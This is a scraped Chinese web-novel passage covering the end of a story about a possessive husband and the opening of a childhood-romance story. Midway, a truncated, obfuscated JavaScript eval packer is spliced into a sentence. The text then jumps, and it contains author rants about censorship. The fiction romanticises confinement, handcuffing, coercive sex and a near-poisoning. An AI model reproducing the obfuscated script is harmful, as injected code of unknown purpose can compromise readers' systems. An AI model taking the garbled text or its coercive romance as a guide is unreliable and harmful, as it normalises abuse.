游潇荷的声音闷闷的,透出布料传到谢郎君耳畔,他眼尾溢出泪花来,收紧手臂加深了这个拥抱。这世上,谢柔春从未想过还会有游潇荷这种人,真诚烂漫恰似破冰的涓涓溪流。仅仅只是抱着他,谢柔春就已经满足地想要掉下眼泪。心头温柔,他点了点头,强压着哭腔,倾身将游潇荷整个揽进怀里,说:“好,游潇荷,我会等你......但别让我等太久.......”眼里啪嗒掉落,谢郎君湿润的唇瓣摩挲着少女的耳廓,他酸涩地说:“再等下去,阿荷,我就不年轻了,也不漂亮了。” 那时候,我怎么配得上你.......妻主....... 游潇荷上床的第一晚,睡觉前自己盖着一个被窝,老老实实地扒着床边睡觉,愣是没敢朝身侧的谢柔春看一眼。而第二天醒来,被子已经被踹到了地上,她整个人头发乱糟糟的,头顶着谢柔春的凶口,一条腿压在他身上,胳膊则揽着郎君的细腰,整个人身上都是谢柔春特有的冷香。而被她缠了一夜的谢郎君,睡得竟然还很安稳,伸手紧紧搂住她,压在被角,给游潇荷盖得严严实实。 她觉得很丢脸,想偷偷退出去起身穿衣,但刚收回一条腿,睡梦中的谢郎君被惊慌地发出一声梦呓,将游潇荷抱得更紧一些,喃喃着:“别、别抢......别抢我的妻主,求、求求你们了,她是我......” “谢郎君,谢郎君,醒醒,该起床用早膳了。”游潇荷没听清楚他在说什么,但感觉谢柔春像是在做噩梦的样子,便慌忙推了推他的肩膀,将人唤醒后,坐起身去解两个人缠在一起的头发。 但还未抬眼,颊边落下一个湿热的亲吻,游潇荷整个人僵住,而皙白柔软的手指接过缠在一起的发丝,只见谢郎君手指翻飞,几下便灵巧地解开了。他率先起床下地,披上外衣后摸了摸愣愣望着自己的少女,心情愉悦,狐狸眼撩起,笑着催促她:“大清早卖什么呆呢?不就亲你一口,晚上让阿荷亲回来就好啦。” 56.入赘给冷艳黑寡夫之后,你被他哭着囚禁了(完) 游潇荷入府三个月的时候,才终于敢放肆地亲吻自己的夫郎。虽然口口声声唤着他谢郎君,但只要没人,小女郎就忍不住像馋嘴的孩子一样,揽着谢柔春偷偷亲嘴。她很喜欢咬郎君的唇珠,咬出血后便愧疚地轻轻啄吻,直到谢柔春红着脸推开她。游潇荷勾着头准备随他打骂,但谢柔春哪里舍得,反而餍足地翘起唇角,柔声柔气捧着她的脸商量:“这里不避人,我们去店里后院休息的地方去,阿荷可以随便亲我,我是你的夫郎,你可以使用我的,乖乖。” “不是,不是使用,我是......是你好看,谢郎君,我喜欢亲你。”游潇荷红着脸却眼神诚挚地看着谢柔春,磕磕绊绊地解释自己的心意,最后还没说完又被谢柔春扣住后颈亲吻。少女有些茫然,却还是伸手抿掉他眼尾的泪痕。她不明白谢郎君这些年究竟受了多少苦,她只知道,这一刻,她渴望亲吻他。 两个人的感情倒是发展自然,日日夜夜地相处,谢柔春已经不动声色地将自己融入了游潇荷的习惯中,早晨她会乖乖地坐在床边等他的亲吻才下床。衣衫首饰这些也都是谢郎君亲自搭配,成日里上蹿下跳的“泼猴”,也被谢柔春养得白嫩细分,一双圆眼清凌凌的,身姿颀长,气质澄净。渐渐府里的小厮们撞见游潇荷时都止不住脸红,而这半年林杏被谢柔春故意提高职务,派去品繁阁的店铺里售卖香料,日日忙得脚不沾地,虽然学到了很多也攒下一笔银子能够赎身。但等到林杏好不容易在府里蹲到落单的游潇荷,红着眼睛上前想要拦住她时,游潇荷却已经有些生疏,看着他只是礼貌地笑,恭喜他道:“我听郎君说了,杏杏你很厉害,这半年卖出去了好多香料,还拉来了许多老主顾和大单子。真好,杏杏,以后你就不用受别人牵制了。” “不、不是这样,不该是这样的,小荷,我只想跟着你的,我是被主君给调去的,我不想去,我只想侍奉在你身边。这半年我只能偷偷地瞧你几眼,都没能和你说上话,要不是今日主君去仓库了,我甚至不知道要熬到什么时候才能再让你看看我。小荷,你让主君把我调回身边吧,我只想当你身边的小厮,我不想再去店里和旁的女人说话了,我不喜欢她们,小荷.......” 林杏噙着眼泪抓住游潇荷的衣袖,她慌乱地想要推开他,但哪想林杏这半年茶饭不思,身子虚弱,刚碰了一下就软绵绵地要跌倒。于是游潇荷下意识接住林杏,抱着他往街上的医馆跑去。 可巧不巧,游潇荷抱着林杏,刚跑到府门口,就被得到消息匆忙赶回来的谢郎君撞了个正着,他跑得急,连帷幕都忘了戴,一双赤红的眼睛死死盯着少女怀里的林杏,手指捏紧,心口的酸涩搅得他几乎说不出话,半晌才抬手叫来房叔,让他派人将林杏送去医馆,而自己则上前牵住欲言又止的游潇荷,沉默着带她往苍槐院去走。 游潇荷几次想要开口解释,但看着他阴郁的眼神,便有些退缩,顺从地跟着谢郎君回到内室,刚坐下想去拉他的手,谢柔春却已经转身,咔哒落锁,将两个人都反锁在了卧室里。 此时窗外日光明亮,游潇荷不解,隐隐有不好的预感,便起身跑到门口想要去抢钥匙。但谢柔春当着她的面将钥匙扔到火盆里,下一刻未等游潇荷有所反应,自己已经脱掉外衣,几下便将剥掉了多余的衣衫,只剩下单薄的里衣,踩在毛毯上走到游潇荷面前。他几乎没有尊严,眼里翻涌着阴翳,沉淀着透出一丝痴儿的固执来。他根本不再去听游潇荷说些什么,只是抱紧了她的腰跪下来,毫无廉耻地去扯少女的腰带,发丝被她拽着扯远,谢郎君眼里蕴出泪水,惶惶无助地忍痛看着她,声线颤栗,乞怜道:“游潇荷,阿荷,你心疼林杏,信任顾林,甚至是府内的下人你都见不得他们受罚,你对所有人都那么好,我也不过是他们当中的一个,我是不是对你来说,根本就没有任何特别的?” “我不懂你的意思,谢郎君,你囚禁我,你这是违约,你快叫人把门打开,我不要在繁洲待了,你吓到.......”游潇荷被他哭着质问,不解当中又返上来愤怒,她已经厌烦了谢郎君每每都将她对其他男子的好归结与女欢男爱,厌烦他若有似无的试探和占有欲。原本在她的认知里,喜欢是很简单的事情,就像她喜欢亲谢郎君,喜欢谢郎君身上的香味,喜欢和他相拥入眠......喜欢本来就该是一件件简单的事情堆砌起来的感情,而不该是谢郎君这样,柔肠百转,泪眼婆娑,他让她觉得难受。 唇瓣被堵住,谢郎君的眼泪掉到游潇荷的锁骨上,他将少女推到床上,护着她的后颈,却又趁着她愣神的瞬间,将自己枕头下的手铐给她咔哒戴上。游潇荷回过神,气得脸颊泛红,愤恨掀开谢柔春想要起身。但平日里柔弱的郎君此刻却死死抱住游潇荷,用尽了全身力气,胳膊颤抖,忍着哭腔和她谈判:“不行,游潇荷你不能走,你母亲的生意刚刚回转,还需要一批商船运货,我可以给她的,但你要给我一个孩子,你答应过我的啊,妻主,你答应过要给我一个孩子的。” “你就那么想要一个孩子?”游潇荷止不住生起气来,愤怒之下脑子转不过来,竟觉得谢柔春折腾自己都只为了怀上游氏的血脉。本来年纪就小,只身来到繁洲,说不害怕不委屈是假的。游潇荷一直装得很好,仿佛乐不思蜀,可当面对谢柔春的时候,她又止不住委屈,想要他多心疼自己一点。 如今思及自己被郎君当成了工具,游潇荷气得眼睛发酸,泪珠一颗颗扑簌簌掉落,她背过身不让谢柔春看,却又被他捧着脸轻轻地吻掉眼泪。可他越温柔,游潇荷越觉得是勾引,翻身压在他身上,游潇荷低头用力咬了下他的唇珠,盯着那沁血的一点,她又忍不住低头抿了抿,最后将手腕举到头顶,眼睫还黏着破碎的泪珠,但声音却冷漠地开口道:“既然是你想要孩子,那就请谢郎君自己上来,自己动吧。” 【不让写我也不想写了烦死了烦死了烦死了烦死了烦死了烦死了烦死了烦死了好烦好烦好烦有毛病毛病好烦有病啊】 荷花颤动潮湿,潭水潋滟难凝歇。 他抬头痴迷地吻在少女眉心(审核请注意,他亲的是脸),轻柔的声音里流露出病态的爱意,他吻着他的小妻主,挽起唇瓣,轻笑:“妻主,不会再有别人喜欢你了,只有我,你只能有我了.......” 谁觊觎你,谁就去死。阿荷,我杀过人,从前为了自己,以后我只为你。死后十八层地狱我自己下,但生前,我偏要缠着你。 游潇荷觉得自己要烂掉了,从遇到林杏那日起,虽然她将谢柔春做到昏迷,但醒来后第二日中午,谢郎君却还是痴痴地缠着她,又弄了一下午,才看她饿得直冒眼泪,这才不情不愿地解开了手铐,牵着她一起到院子里用了膳。晚上她给谢柔春上药,仍有春潭水缠绵未歇,一浪一浪漫过,谢柔春咬着她的手指,但游潇荷不为所动,抱着被子睡了一夜,第二天就被郎君给带到了品繁阁。 谢柔春做事的时候,她就自个待在一旁写写画画,或者看书吃零嘴。等到谢柔春闲下来,就会勾着她到后院亲热,等弄得谢郎君发髻凌乱,眼眸潮湿,游潇荷才耍赖求他放自己去玩。 可谢柔春又不傻,自然不放心让她自己上街,于是要么亲自陪她玩,要么就是让武功高身体壮的婆子跟着游潇荷,好在她也心大,即使被人看着也能自己找乐子。游潇荷这几日迷上了一个武馆,经常去和里面的师傅们较量,一开始被揍得唇角淤青,谢柔春气得掉泪,非要带人去砸了那小武馆,被游潇荷环着腰拖回屋里,【我觉得可烦】将郎君伺候舒服了,才好声好气地和她解释。可谢柔春仍是心疼,亲了亲她唇畔的伤口,【好烦啊好烦啊好烦啊好烦好烦】,这才让步道:“你可以去,也可以和他们结交,但不能总让他们打你啊,你还这么小,皮又嫩,不比她们那些女人皮糙肉厚的,我好不容易把你养得薄皮嫩肉,又不是让她们糟蹋的。” “你怎么把我说的像个肉包子似的。”游潇荷不满,咬了下郎君的脸,而后听着他嗤嗤的笑,自己也生不起气来,只能趴在他怀里,认命道:“我知道你一直觉得年纪小不可靠,所以我才想要让自己强一点,至少有人欺负的时候,我的拳头能够打跑那些坏人。郎君,你之前问我,是不是像怜爱杏杏一样怜爱你,我想明白了.......” 谢柔春屏住了呼吸,小女郎的下巴还搭在他柔软的凶口,气息喷洒在他的肌肤上,一股股酥麻的感觉冲击着颤动的心尖。他晕陶陶的,身下仍紧紧缠着她,而小妻主的声音却清凌凌的,带着少年人的热忱与欢喜,对他说:“你和杏杏是不一样的,杏杏很苦,所以我想要他过得好一点,所以当杏杏赚到了钱财,有了安身立命的本事,我会为他高兴。可是郎君,郎君你也很苦,我不想要族人再说你霸占游家的家产,也不想她们议论你克妻寡情......她们对你不公平,会让我很生气愤怒,因为我知道郎君很厉害,有头脑有算计,天底下没有几个男子能像郎君一样熬过苦难取得今日的成就。” 少女还没说完,谢柔春的眼泪已经淌了满脸,他咬破的唇瓣吮出血水,身下愈发动情地绞着少女,颤巍巍地抚上她的脸,却被小妻主攥紧手心,轻柔到不掺杂情欲,她吻了下他的指尖,而后继续说:“我有的时候,在你面前,会很自卑,因为我年纪小,我没用经历郎君经历过的风浪,母亲很爱我,游喜镇的小伙伴们也将我保护得很好。入赘到繁洲是我十九年来经历过最艰难的事情了,可这里还是会有郎君这样全心全意地保护我爱护我.......所以我总觉得自己在郎君面前是浅薄的,但是,如此浅薄的我还是喜欢你,谢柔春,我是喜欢你的,你和杏杏不一样。同为爱怜,但之于你,我总会多一份胆怯与希冀。” “我说的很乱,谢柔春,就是,就是.......”游潇荷急得出汗,眼睛里也洇出泪水,谢柔春此刻已经满面潮红,泪水混着汗珠打湿了纤长的睫羽,一簇簇的睫毛遮住了他的痴缠的目光。柔软的身子也像蛇一样紧紧绞住他的猎物。 小妻主还在苦苦思索一个词语来概括她稚嫩的喜欢,而谢郎君却已经在她的目光里攀上了巅峰。 年长者的爱总是更复杂一点,谢柔春吻住她的唇瓣,一点点抿掉她的眼泪,她不必说的那么清楚,谢郎君喜欢可以无尽想象的爱。 “我知道,我都知道,妻主,阿荷,我又到了,你亲亲我。” 游潇荷和谢柔春实实在在黏在一起,过了几个月蜜里调油的日子。房叔心里也高兴,只不过每次撞见他们妻夫偷偷牵手亲热,都觉得老脸通红,于是暗中劝游潇荷,想着这小年轻食髓知味,总是把主君咬的全身青紫,连带着指关节都是淡红的牙印。【可烦啊真的是】都被大夫劝告,要节制。 “我没有,我真的没有,是,是郎君他老是缠着我不让我睡......”游潇荷委屈,巴巴地望着不远处正在和活计交代香料配方的谢郎君,自觉不能打扰他的正事,便丧气地坐到店外的台阶上开解自己。 而就把自己哄好的时候,游潇荷听见人群中异动,卖包子的摊贩追着个蓬头垢面的少年,她好事凑过去,结果那少年一抬头,看见她哇一声就哭了,然后直直撞到游潇荷怀里。 “小荷我可算找到你了,我终于呜呜呜呜,我终于找到你了,原本我以为只要到了繁洲就成找到你,但繁洲太大了,我迷路了还被偷了钱袋,后来记得品繁阁,但品繁阁又有好多个分店,要不是一个叫林杏的哥哥给我指路,我都要找不到你了呜呜呜.......” 听见他的哭声,游潇荷这才认出来顾林,看到从小就臭美的发小变成这副模样,本来想笑的,但又心疼他,于是便任凭顾林抱着,将几吊钱扔给卖包子的老板,带着顾林回到了店内。 而刚上台阶,站在店门口的谢郎君便挽着唇瓣,冷笑睨向二人,瞧着他们手牵手的亲密情状,谢柔春捏紧衣袖,面上柔柔地开口:“这位就是妻主的青梅竹马吧,可怜见的,怎么沦落成这幅样子了,快回府吧,换身衣裳再说。房叔,你去带着顾公子回府,我和妻主稍后去给他买几身衣裳。” “不、不要,小荷,你带我回去吧,我害怕。” 顾林缠着游潇荷的胳膊不肯松手,谢郎君脸上的笑意挂不住,眼刀划过少年,而后房叔会意,上前将顾林扯开,强压着他的肩膀劝道:“顾公子,我们府上绝不会怠慢远客,您是女君的朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小妻主从小没见过爹亲,所以总保留了些幼儿的习性,没人教她改,于是平日不显,有了夫郎,别总喜欢贴着谢郎君,开心时要勾着他的脖子蹭脸,不开心时便搂着他的腰,将脸埋在郎君柔软的怀抱里.......船上更甚,她总喜欢亲来亲去,对亲吻的需求要胜过方事,偶尔谢柔春也会反思,游潇荷不会把他当爹了吧? 但望着自己怀里柔软的妻主,他又生不起气来,甚至转念想到,夫郎可以替换,但爹亲可是独一无二的,竟荒谬地感觉到一丝满足,低头亲亲游潇荷,他便放任她对自己毫无底线的亲密依赖和需求了。 顾林听着自己的伙伴认真地说着夫郎这种字眼,眼里顿时噙满泪水,他也不知道为什么这样失落,或许是从小和游潇荷一样被宠溺着长大,根本没有心眼,他甚至不明白自己是不是喜欢小荷,只知道小荷说过去一年繁洲,之后就会回游喜镇。现在一年之期要到了,他自己从家里偷跑出来接小荷回游喜镇,可小荷却牵着陌生郎君的手,对他说,以后她只能和她的夫郎一起玩了。 “那、那你还会回游喜镇吗?小荷,为什么要变啊呜呜呜,我们我们一直都像小时候一样,在一起玩不行吗?我不想要妻主,我不能和小荷一直在一起玩吗?” “不好,林林,这样不好。”抬手给他递了块手帕,游潇荷却没有像从前一样给他用手擦眼泪,叹口气,少女目光柔和,说话间却已经有了谢柔春的影子,一种春风化雨的气质。她对顾林说:“我们都得长大,林林,这世上没有什么是一成不变的。你以后也会有自己的际遇。我们一起长大,这已经是很难得的缘分了,你永远是我最好的小伙伴,林林,我会保护你的,只要你需要。” 顾林还在哭,但谢柔春已经将桌上的酒全撤了,他被游潇荷牵着离开客房,穿过花园时,靛蓝色的夜幕积云,飘飘洒洒落下一场初雪来。 谢柔春伸手护在游潇荷额前,她全牵住他的手,带着谢郎君在花园里疯跑起来,夜风吹得两人脸颊冰凉,但牵着的手心温暖潮热。谢郎君的心跳得剧烈,从前下雪对他来说很残酷,因为意味着被虐待的伤口要发烂溃痒,意味着第二天要扫雪,被罚跪也要更难熬....... 可这一刻,看着游潇荷发丝间的雪白,他竟怔怔落下眼泪,心里酸楚得不像话,竟产生一种和她白头偕老的错觉。 “妻主,阿荷,其实.......”忽然地,谢柔春想做个干净善良的小郎君了,虽然只有这一夜,虽然他刚才差点下毒杀死顾林,但这一夜,谢柔春剥开自己朝游潇荷坦白:“其实我已经怀了两个多月,我不告诉你,我怕你觉得怀上身孕,就完成了任务,就可以从我身边离开了。我其实想过,偷偷将你灌醉,问出你的心意,如果你确实只是为了完成契约上的任务,才留在我身边,那我就会悄悄把这个孩子打掉.......我知道自己很可怕,没有为人父亲的心肠。但阿荷,这世上这么多人,我不能失去的只有你,你......你知道吗,妻主?” 谢郎君笑着,眼尾湿红,唇瓣颤巍巍地想要扯起笑,但怎么都笑不出来。他望着少女发间的雪白,抬手想要替她拂去,但下一刻却被扣住腰扑到柔软的雪地里。 他也发丝染白,和游潇荷纠缠在一起,天地浩大,他们却在隐秘的初雪里亲吻。 小妻主还是喜欢亲他的唇瓣,但这一次,她却又低头亲了亲他的小腹。 伸手擦掉谢郎君眼尾的泪水,指尖是被融化的冰雪,游潇荷眼睛一如既往的明亮,盛着三月的清潭,漫漫春水淌过他的心尖。 “你告诉我,我就知道。谢柔春,我不聪明但也不笨,你想要我怎么爱你,你就教我,郎君.......” 少女柔软的声音唤得他心软,腰肢轻颤,捧住她的脸加深这个吻。谢郎君抬腿勾住小妻主,狐狸眼晕开泪水和笑意,望着少女绯红的脸颊,他爱到恐慌,像乞丐搂紧宝藏,严丝合缝地抱着她,流泪轻笑:“好啊,妻主,我教你,我教你永远亲吻我,拥抱我,爱我.......” 游潇荷,我要你永远.满我,要你......最好最好,死在我身上。 算了,被小妻主咬破的舌尖,他望着她愧疚到泪水汪汪的眼睛,又心软,吻住她,柔软地想:还是要我的小妻主一辈子都欢欢喜喜地这样变老吧。 游潇荷,你不需要了解我的苦难,你只要在我身边,我就再也没有苦难。 【烦死了啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊】 58.和冷漠男娘初恋哥断崖分手两年后(一) 01. 再见到宋存,是隔着四张桌子的丧礼上。 “宋妞妞!”我吆喝一声,腾地站起身撞翻了刚上的银耳汤。 四张桌子之外,宋存手里捏着线香,刚弯腰,左脚绊右脚,然后咚一声,脑门撞到棺材角,俏生生倒在供桌旁。 唢呐声停,我愣了下,卫衣帽子还在啪嗒啪嗒掉着银耳汤。 “宋妞妞,你别死啊!是我对不起你,你别死!” 挤开哭丧团队,撞翻一排吹唢呐的大爷,我扑到棺材旁,脚下还黏着银耳,于是打了个踉跄扑通双膝跪地,趴到宋存腰上。 前男友你好香…… 哭丧领队的大娘来薅我:“你这后生,来戗行是吧,你师傅哪条道上的报过来名。” “咳咳我、宋妞妞他大爷……” “嘿,你这孩子还骂人。” “不、不是,”眼里掉出两行热泪,一手搂住宋存,一手拽着衣领,我艰难喘气:“我,宋妞妞他大爷的二姑姥。” “呸。”哭丧领队没说话,怀里早就转醒的宋存推我一把,他还半倚着我的肩膀,睫羽微压,却是冷笑:“宋火火你就是祸害我的二货。” 02. 我和宋存的辈分很乱。 宋存的大爷宋老二喊我二姑姥,但我又从小追着宋存喊哥。 宋存比我大两岁,六年级暑假我跟着隔壁吴老幺收垃圾,在垃圾站捡回去五六张碟片。那天一整个下午我和宋存都在看DVD,风扇呼啦呼啦地转,其中最后一张碟片在播两个没穿衣服的大人在打架,打架之后又亲嘴,亲完嘴之后又打的更凶。 于是我盯着宋存淡粉色的嘴唇,一颗汗珠从鼻尖滑到他的唇角。 宋存扭头凶我:“看什么你看。” “哥,我想问……” “你问!”宋存将身子全部转向我,背对着电视,手指一点点揪紧夏凉被。 “乱.仑是什么意思?哥哥和妹妹算的话,那哥哥和大爷的二姑姥算不算?” 我两只手撑着宋存的膝盖,扬起脸凑近后才问。 宋存脸白,但傍晚的夕阳却攀上他的半张脸,鲜艳湿润。他身子后仰,撞到我的视线,沉默些许,忽然伸手摁我脸上:“宋火火你下次再乱捡垃圾,你看我敢不敢把你手打断!” 到最后宋存也没有回答我的问题,还把我的碟片给没收了。我很生气,爬到宋存背上啃他的脖子,宋存习惯了也不喊疼,身上还挂着我就开始收拾屋子,盖上电视布后,宋存背着我下楼给宋老二做饭。 “晚饭在我家吃吗?” 宋存扭头,侧脸蹭了蹭我的耳朵。 我在他颈侧被啃出来的牙印,宋存嫌痒,就偏头把我的手夹在脸颊与肩膀之间。 他眼睛还在看我,我生气,从宋存身上跳下来,掀开帘子朝外跑:“才不吃,我去找瑞瑞玩,宋妞妞你一点都不懂我。” 宋妞妞是宋老二起的小名,因为宋存五岁前经常生病,宋老二怕宋存活不下来,就起了个女娃娃的小名,迷惑阎王殿的鬼差,好让他们别来勾走宋存的魂。 听完宋老二这样说,当时我就抱住宋存,让他也给我起个小名,“哥,哥哥哥哥哥,我也要小名,我也怕被鬼差勾魂。” 宋存正趴在板凳上写字,被我扑一下撞倒在地,他捏着铅笔,深呼吸后白我一眼,说:“你中午才吃了两碗蛋炒饭,比陈婆家的牛还有劲,鬼差能请得动你?” 说的也是,我压在宋存腿上,还不死心,于是说:“可是你有小名,我也要有啊,不然我们长大怎么结婚?宋霍和宋存是一对,那宋妞妞和谁是一对,是不是,我该有个小名啊。” “谁要跟你结婚!” 宋存别过脸,揪住我的衣领往旁边薅,我早有预料,于是伸出双臂圈住他的脖子,两腿盘着他的腰,像只大壁虎,死死黏在宋存身上。 宋老二端着茶碗拍腿笑,“好娃娃,有劲,妞妞你看,吃得多还是有用吧。行了,赶紧给霍霍起个小名,不然她黏你一天,作业也写不成。” “霍……霍霍,祸害吧她。” 宋存下意识讥讽,说完却怔住,看着我张了张嘴,想解释却没出声。 宋老二脸色也突变,弯腰把我从宋存身上抱下来,大手揉了揉我的脑袋,语气轻柔地解释:“霍霍,走,带你买冰棍去。” 我其实不太理解祸害是什么意思,只知道电视里漂亮的女人都会被骂祸害,所以我当时觉得宋存在夸我漂亮,他果然喜欢我,想嫁给我。 “好啊!那我还要喝汽水!” 我刚被宋存夸,心里正美,宋老二又给我买冰棍,于是我暂时把小情小爱抛到脑后,蹦蹦跳跳地跟着宋老二去满足口腹之欲。 “霍……宋霍,”跳到门口,宋存喊我,我站在门槛上扭头看他。 宋存半边身子埋在阴影里,唇色更白了,他捏紧作业本,最后垂下眼睛说:“你不用写作业了,一会我写完就帮你写。” 我发誓那天我真的没有生气,但从小卖部回来之后,我刚好见到惠玲阿姨领着陶陶和皓皓回娘家住。 半年多没见这对双胞胎,我一时高兴地忘记了宋存,给他买的大白兔奶糖也被分给了陶陶和皓皓。 那天晚上妈妈下班就来见了惠玲阿姨,两个人在厨房做饭,我听到惠玲阿姨在哭,妈妈用手给她捋着头发,眼神很悲伤,却又坚定地说:“你必须要撑住,现在他走了,你为了孩子也为自己,可不能做傻事。” 惠玲阿姨很聪明,至少在我看来,我不觉得她会做傻事。陶陶和皓皓跟我去巷口玩跳方格,他们对我说:“我们爸爸死了。霍霍你知道什么是死吗?” “是和眼泪有关系的东西吧。” 夏天傍晚的风总是金黄色的,长着毛绒绒的边。我蹲在地上画方格,画好后把剩下的半根粉笔头放在口袋里。 我拍了拍手,眨掉眼皮上的汗珠,对陶陶和皓皓说:“既然你们爸爸死了,那这次让你们先跳好了。” 晚上妈妈陪惠玲阿姨睡觉,我跟陶陶和皓皓睡大通铺,睡觉前我想起来作业还在宋存那里,不过他说会帮我写的。 想到这,我翻了个身呼呼大睡,第二天被妈妈叫起来梳头,刚绑了一个辫子,我想起来作业本,立马跑去宋老二家。 推门进去,还好宋存没走,正在厨房洗碗。 宋存很白,早上的阳光照在他沾水的指节上,看得我莫名很饿。他头发也比一般男孩长一些,额发遮眼,发梢垂在雪白的颈间,分明又干净的好看。 我从厨房后门进去,在宋存还没反应过来前,手臂环过他的腰,一下就抓住了他湿漉漉的手。 “哥,我要作业本。” “你要我就得给吗?”宋存双手撑着洗手池,没回头,声音又冷。 他生气了?他为什么生气? 我松开宋存的手,绕到他面前争辩:“你昨天说了帮我做作业的,我想着你帮我做完作业了,所以我才跟陶陶皓皓玩到半夜。” “陶陶皓皓?嗤,你又有新朋友玩了。”宋存微压下眼睫,唇边冷笑。 “不是新朋友,是老朋友,我跟他们认识的时间比你久。” 宋存眼睫压得更深,转过身擦了擦手,好像不愿意看见我,于是直接说:“想都别想,以后我不会再给你写作业,你找你的老朋友给你写去!” 我再也不要和宋存好了。 长大了我也不要娶宋存了! 妈妈送我上学的路上,我一直都在生气,等到教室,我刚坐下,班长徐曦就来找我收作业。徐曦选了五年班长,但一直都没选上,六年级这次还是原来的班长转学了,所以才轮到徐曦。 她来收作业,我指定要完犊子了。 “徐曦,你说咱们班四十七个人,少一本作业,老师应该也不会发现吧?”我抓着徐曦的袖子,讨好地笑。 她推了下眼镜,大声喊:“五月十七日,早读,宋霍没写作业,记一……” “宋霍作业在这啊,谁说她没写?” 黄依依从后桌冒出来,把写好的作业本丢给徐曦,她检查一遍,然后在值班表上认真地划掉我的名字,最后甩了甩马尾辫,徐曦继续昂着脑袋去收作业。 “我的作业本怎么在你那?” “是你哥给你送过来的啊,就是那个头发有点长、皮肤很白,漂亮的有点像女生的宋存。” 黄依依举着课本挡脸,八卦地凑过来问:“你作业是不是又是你哥写的?霍霍,宋存怎么对你这么好啊!” 我捋了捋自己的辫子,有些小得意,昂起下巴,宣布:“当然因为我长大后要娶宋存,他本来就该喜欢我,嫁给我,对我好。” 我是打算等宋存下课,然后通知他我原谅他了。 只是离放学还有一节课的时候,妈妈来接我回家,路上又接上了惠玲阿姨和陶陶皓皓。我们四个开了两个多小时的车才到惠玲阿姨的另一个家里。 街上架着灵棚,我们一下车就有人递来白布,妈妈给我系在腰上,陶陶皓皓还有惠玲阿姨围在了额头上。 我其实想问为什么,但仰头看了看惠玲阿姨,又看了看来往各种系着白布的人流,我闭上嘴,最后什么都没说。 傍晚的唢呐声一阵一阵,盖住了我的不解和难过。 再回到学校是两天后的事情,我也忘记要同宋存和好的事情,努力补了一天的笔记,晚上放学后要写作业,才想起来这茬。 拿上作业跑到宋老二家,我一进门就喊宋存,但只有宋老二拎着锅铲从厨房出来。 “宋存呢?” “今天他生日,宋存他妈说要接他一起过生日,晚一些才会回来吧。” “好吧。” 我从书包里掏出一把葡萄味的真滋棒,还有两张武松的卡片,跑到宋存床边给他压在了枕头下面。 “生日快乐,你替我跟宋存说嗷。” 我嘱咐宋老二,又抱着作业本回家。但是晚上十点多,宋老二忽然来拍我家大门,站在门口,他焦急地问我有没有见过宋存。 “他不是在跟他妈一起过生日吗?” 我丢下笔挤到门口,妈妈本来还想让我回去补作业,但听到是宋存丢了,立马拿上手电筒跟宋老二一起去巷子里喊人。 妈妈把我锁在家里,但我睡不着也不想写作业。我不明白他们为什么那么担心宋存,毕竟小孩也总要有一些自己的独处时间吧。 蹲在窗户旁边,我想起来了我第一次见到宋存的地方,我跟着胡海表哥去坟场旁边偷废铁,宋存躲在坟场偷哭。 我知道了。 从窗户跳出去,我来不及拿手电筒,踩着月色小跑到后山的坟场。埋着宋存爸爸的土堆在第四排,长着一颗柿子树。 我绕过去,踩烂一颗半熟的柿子,看见一张泪痕交错的脸。 “你不问我为什么哭?” 宋存问我的时候,我刚啃了一颗半熟的柿子,舌头涩得像张磨砂纸,于是我摇头,像口吃一样含糊地说:“我最近见过很多人哭,有真哭,也有假哭。有伤心地哭,也有害怕地哭,当然还有莫名其妙地哭。所以我觉得哭不需要理由,就像人要吃饭喝水一样,人也可以随便哭啊。” 抹了把脸上的眼泪,宋存沉默着给坟包拔草,好一会,他扭头看着我问:“你是不是不想跟我玩了?宋霍,你也不想要我了吧?” 额发垂在眼角,他侧着脸,一颗泪珠还坠在下巴尖。我觉得我又饿了,渴望揪着心脏咕噜咕噜地冒泡。 “谁说的,我要你啊,哥,我肯定要你啊,你还得嫁给我,对我好,帮我写作业呢。” “我脾气不好,想说的话出口总是伤人,我性格也古怪,主动接近我的人没两天就会放弃,甚至于……甚至……” 宋存哑声,无力地坐在坟堆旁,他脸埋在臂弯,只露出一双眼睛看我:“甚至我明明很想告诉你,别不要我,别对其他朋友比对我好,别听我说什么,宋霍,你,你看我做什么……” 说好多,听不懂。 我理解不了宋存在说什么,但他一天没吃饭了,宋存妈妈说好来接他,可直到晚上,宋存还是一个人在约好的公交站等待。 直到最后一辆公交从他面前驶过,宋存折回镇上,没有回家,而是在夜色掩映中走到坟场,宋存爸爸在这里,他的生日想和家人一起过。 “我知道胡海的秘密基地,走,我带你去烤红薯吃。” 牵住宋存的手,我们跑到坟场旁边的破房子里,在生锈的窗户旁边,我扒拉出之前藏的打火机还有红薯干。 “打火机是胡海偷他姥爷的,红薯干是我妈晒的,其实我们之前偷铁也没卖钱,最后被发现还挨了顿打。现在早就不干了。” 我边生火边给宋存解释,他挨着我坐下,一片片用筷子翻着红薯干:“宋霍,我想到你的小名了……” “啊?” 我还没反应过来,抬头看向宋存时,木棍挑起一阵火星子。 宋存抬起手指抿掉我脸上沾着的灰,湿红的眼睛漾开笑,火光映在他泪痕半干的脸上。 “宋火火,你叫宋火火,我叫宋妞妞。我们就该一直一起玩,对吗?” 后半夜我和宋存回家,路上一盏灯也没有,黑得我以为我瞎了。 但宋存牵住我的手,茫然地依靠彼此往前走,他问:“宋火火,你知道死是什么吗?” “死是眼泪,白布,唢呐还有泥土……” “是吗?” “对了,最重要的是爱,思念和不忘记。” 我反过手,也紧紧牵着宋妞妞。 03. 宋存要去剪头发了。 初中规定男生的头发不许遮眉,不许长过耳朵。而宋存在初二时头发已经长过下巴,何况他皮肤又白,五官美丽,所以不仔细辨认,能容易会将宋存认成女生。 我当然喜欢他长发的样子,很美,有时候我会从背后去抱宋存,脸埋在他颈间,蹭着他的头发,故意喊他姐姐。 宋妞妞生气,但下一次我从背后偷袭,他明明能听到我的脚步声,却还是站在那不动,等我抱上来,他才会垂眼,冷冷地骂上一句——小变态。 可是宋存要去剪头发了,我不开心,他也不开心。 宋老二被老师叫去学校,专门谈宋存头发的问题。老头就是一庄稼汉,那天穿着一身蓝灰色的中山装,手扶着领口,在办公室拘谨地对着二十多岁的老师点头哈腰。 “老师,我会去剪头发的,你让大爷先回家吧,下午后山的地还要浇水。” 